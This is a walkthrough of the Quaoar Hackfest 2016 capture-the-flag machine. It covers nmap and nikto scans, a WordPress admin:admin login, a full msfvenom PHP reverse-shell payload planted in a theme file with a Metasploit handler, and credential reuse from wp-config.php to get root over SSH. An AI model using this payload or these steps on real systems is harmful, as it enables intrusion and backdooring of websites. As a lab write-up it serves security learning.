Quaoar Hackfest 2016 CTF Walkthrough.

Quaoar Hackfest 2016 CTF Walkthrough.

From the machine creator. “There are 3 flags on this machine. Get a shell. Get root access. There is a post exploitation flag on the box.”

So, let’s get into this.


0x00 Enumeration

Let’s start some enumeration with nmap to see what is available on this machine.

$ nmap -sT -vv -T4 192.168.0.45
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-03 22:05 GMT
Initiating ARP Ping Scan at 22:05
Scanning 192.168.0.45 [1 port]
Completed ARP Ping Scan at 22:05, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:05
Completed Parallel DNS resolution of 1 host. at 22:05, 0.33s elapsed
Initiating Connect Scan at 22:05
Scanning 192.168.0.45 [1000 ports]
Discovered open port 110/tcp on 192.168.0.45
Discovered open port 993/tcp on 192.168.0.45
Discovered open port 995/tcp on 192.168.0.45
Discovered open port 139/tcp on 192.168.0.45
Discovered open port 80/tcp on 192.168.0.45
Discovered open port 53/tcp on 192.168.0.45
Discovered open port 22/tcp on 192.168.0.45
Discovered open port 143/tcp on 192.168.0.45
Discovered open port 445/tcp on 192.168.0.45
Completed Connect Scan at 22:05, 0.07s elapsed (1000 total ports)
Nmap scan report for 192.168.0.45
Host is up, received arp-response (0.00086s latency).
Scanned at 2018-11-03 22:05:45 GMT for 1s
Not shown: 991 closed ports
Reason: 991 conn-refused
PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack
53/tcp  open  domain       syn-ack
80/tcp  open  http         syn-ack
110/tcp open  pop3         syn-ack
139/tcp open  netbios-ssn  syn-ack
143/tcp open  imap         syn-ack
445/tcp open  microsoft-ds syn-ack
993/tcp open  imaps        syn-ack
995/tcp open  pop3s        syn-ack
MAC Address: 08:00:27:A1:AB:D1 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
Raw packets sent: 2 (56B) | Rcvd: 1 (28B)

So, we’ve got quite a few ports open with services running on them, including http on port 80.

Let’s check that out first. Open a web browser and point it to the machines IP address.

There’s a web server running displaying an image saying “Click here to know what you need to do…”

So, we click on it and get redirected to another image.

We need to hack the planet 😀

Having a dig around the page source doesn’t reveal anything useful, time for some more enumeration.

This time we scan the web server with nikto.

$ nikto -host 192.168.0.45
- Nikto v2.1.6
—————————————————————————
+ Target IP:          192.168.0.45
+ Target Hostname:    192.168.0.45
+ Target Port:        80
+ Start Time:         2018-11-03 22:10:24 (GMT0)
—————————————————————————
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 133975, size: 100, mtime: Mon Oct 24 05:00:10 2016
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3
+ Entry ‘/wordpress/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ “robots.txt” contains 2 entries which should be manually viewed.
+ Uncommon header ‘tcn’ found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for ‘index’ were found: index.html
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wordpress/: A WordPress installation was found.
+ 8348 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2018-11-03 22:10:36 (GMT0) (12 seconds)
—————————————————————————
+ 1 host(s) tested

We’ve got some more useful information here, some outdated software and reference to a WordPress install that we may be able to exploit.

Back to our browser to hit the /wordpress/ directory.

Looks like a pretty standard WordPress site. Again, the source doesn’t reveal anything interesting.

Let’s hit /wp-admin/ and see if we can guess some user names before we go any further. I thought I’d give the default admin user a try.

Let’s try admin:password, nope. Ok, let’s try admin:admin, it couldn’t be this easy could it?

Boom! We’re in! I didn’t even need to use WPScan.

0x01 Exploitation

We can now get access to the server by using a reverse TCP shell. To create our payload, we’re going to use msfvenom.

$ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.41 LPORT=1234 -f raw > ~/Desktop/reverse_shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1113 bytes
$ cat ~/Desktop/reverse_shell.php
<?php error_reporting(0); $ip = ’192.168.0.41′; $port = 1234; if (($f = ‘stream_socket_client’) && is_callable($f)) { $s = $f(“tcp://{$ip}:{$port}”); $s_type = ‘stream’; } if (!$s && ($f = ‘fsockopen’) && is_callable($f)) { $s = $f($ip, $port); $s_type = ‘stream’; } if (!$s && ($f = ‘socket_create’) && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = ‘socket’; } if (!$s_type) { die(‘no socket funcs’); } if (!$s) { die(‘no socket’); } switch ($s_type) { case ‘stream’: $len = fread($s, 4); break; case ‘socket’: $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(“Nlen”, $len); $len = $a['len']; $b = ”; while (strlen($b) < $len) { switch ($s_type) { case ‘stream’: $b .= fread($s, $len-strlen($b)); break; case ‘socket’: $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded(‘suhosin’) && ini_get(‘suhosin.executor.disable_eval’)) { $suhosin_bypass=create_function(”, $b); $suhosin_bypass(); } else { eval($b); } die();

We need to insert this into our targets php files.

If we were trying to be more sneaky, we could slip this into a less public facing file such as the 404 template, but for this example, I’m just putting it in header.php

We also need to create a handler on our local machine to listen on the port we set in our payload. We’re going to use metasploit for this.

$ msf > use exploit/multi/handler
$ msf exploit(handler) > set LHOST 192.168.0.41
LHOST => 192.168.0.41
$ msf exploit(handler) > set LPORT 1234
LPORT => 1234
$ msf exploit(handler) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
$ msf exploit(handler) > exploit -j

Now, load the remote target site and the exploit will run. Now we get a reverse shell through our handler.

Let’s checkout the target server.

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As expected, I’m connected as www. Let’s see if we can find any flags.

$ locate flag.txt
/home/wpadmin/flag.txt

$ cat /home/wpadmin/flag.txt
2bafe61f03117ac66a73c3c514de796e

Sweet! We got our first flag. Looks like an MD5 hash. Let’s decrypt it. 

2bafe61f03117ac66a73c3c514de796e = QuaoarWordpress

Let’s do some more digging.

$ ls
index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php

Okay, so we can see the WordPress install, including wp-config.php which will contain database credentials.

$ cat wp-config.php

<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don’t have to use the web site, you can just copy this file
* to “wp-config.php” and fill in the values.
*
* @package WordPress
*/

// ** MySQL settings – You can get this info from your web host ** //
/** The name of the database for WordPress */
define(‘DB_NAME’, ‘wordpress’);

/** MySQL database username */
define(‘DB_USER’, ‘root’);

/** MySQL database password */
define(‘DB_PASSWORD’, ‘rootpassword!’);

/** MySQL hostname */
define(‘DB_HOST’, ‘localhost’);

/** Database Charset to use in creating database tables. */
define(‘DB_CHARSET’, ‘utf8′);

/** The Database Collate type. Don’t change this if in doubt. */
define(‘DB_COLLATE’, ”);
/** */
define(‘WP_HOME’,’/wordpress/’);
define(‘WP_SITEURL’,’/wordpress/’);
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define(‘AUTH_KEY’,         ‘`47hAs4ic+mLDn[-PH(7t+Q+J)L=8^ 8&z!F ?Tu4H#JlV7Ht4}Fsdbg2us1wZZc');
define('SECURE_AUTH_KEY',  'g#vFXk!k|3,w30.VByn8+D-}-P(]c1oI|&BfmQqq{)5w)B>$?5t}5u&s)#K1@{%d’);
define(‘LOGGED_IN_KEY’,    ‘[|;!?pt}0$ei+>sS9x+B&$iV~N+3Cox-C5zT|,P-<0YsX6-RjNA[WTz-?@<F[O@T');
define('NONCE_KEY',        '7RFLj2-NFkAjb6UsKvnN+1aj<Vm++P9<D~H+)l;|5?P1*?gi%o1&zKaXa<]Ft#++’);
define(‘AUTH_SALT’,        ‘PN9aE9`#7.uL|W8}pGsW$,:h=Af(3h52O!w#IWa|u4zfouV @J@Y_GoC8)ApSKeN’);
define(‘SECURE_AUTH_SALT’, ‘wGh|W wNR-(p6fRjV?wb$=f4*KkMM<j0)H#Qz-tu.r~2O*Xs9W3^_`c6Md+ptRR.’);
define(‘LOGGED_IN_SALT’,   ‘+36M1E5.MC;-k:[[_bs>~a0o_c$v?ok4LR|17 ]!K:Z8-]lcSs?EXC`TO;X3in[#');
define('NONCE_SALT',       'K=Sf5{EDu3rG&x=#em=R}:-m+IRNs<@4e8P*)GF#+x+,zu.D8Ksy?j+_]/Kcn|cn’);

/**#@-*/

/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each a unique
* prefix. Only numbers, letters, and underscores please!
*/
$table_prefix  = ‘wp_’;

/**
* WordPress Localized Language, defaults to English.
*
* Change this to localize WordPress. A corresponding MO file for the chosen
* language must be installed to wp-content/languages. For example, install
* de_DE.mo to wp-content/languages and set WPLANG to ‘de_DE’ to enable German
* language support.
*/
define(‘WPLANG’, ”);

/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*/
define(‘WP_DEBUG’, false);

/* That’s all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined(‘ABSPATH’) )
define(‘ABSPATH’, dirname(__FILE__) . ‘/’);

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . ‘wp-settings.php’);

As you can see, now we have the database credentials.

/** MySQL database username */
define(‘DB_USER’, ‘root’);

/** MySQL database password */
define(‘DB_PASSWORD’, ‘rootpassword!’);

How about we try using these credentials somewhere else first? If you remember our initial nmap scan, it showed port 22 was open for SSH.

Let’s try these credentials against SSH.

$ssh root@192.168.0.45
The authenticity of host ’192.168.0.45 (192.168.0.45)’ can’t be established.
ECDSA key fingerprint is SHA256:+ODdJgfptUyyVzKI9wDm804SlXxzmb4/BiKsHCnHGeg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ’192.168.0.45′ (ECDSA) to the list of known hosts.
root@192.168.0.45′s password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

* Documentation:  https://help.ubuntu.com/

System information as of Sat Nov  3 19:13:26 EDT 2018

System load:  0.01              Processes:             101
Usage of /:   29.9% of 7.21GB   Users logged in:       0
Memory usage: 14%               IP address for eth0:   192.168.0.45
Swap usage:   0%                IP address for virbr0: 192.168.122.1

Graph this data and manage this system at https://landscape.canonical.com/

New release ’14.04.5 LTS’ available.
Run ‘do-release-upgrade’ to upgrade to it.

Last login: Sun Jan 15 11:23:45 2017 from desktop-g0lhb7o.snolet.com

They worked! Let’s check we are actually root and we’ve not entered some sneaky honeypot.

root@Quaoar:~# whoami
root

root@Quaoar:~# id
uid=0(root) gid=0(root) groups=0(root)

We are, cool. Let’s find the last flag!

root@Quaoar:~# ls
flag.txt  vmware-tools-distrib

root@Quaoar:~# cat flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb

There’s the last flag, we’re done!

root@Quaoar:~# exit
logout
Connection to 192.168.0.45 closed.

So there you have it. We exploited the machine, got a shell, got root and found the flags.

DISCLAIMER: The information provided is for educational / learning purposes only. The author will not be held responsible for any consequences resulting from the misuse of this information. Hacking things you don’t own or have permission to is illegal and can land you in jail!

sco://

About the Author

Designer. Developer. Hacker. OSCP trainee. Reviewer @Envato. Interested in InfoSec, CyberSec and Privacy.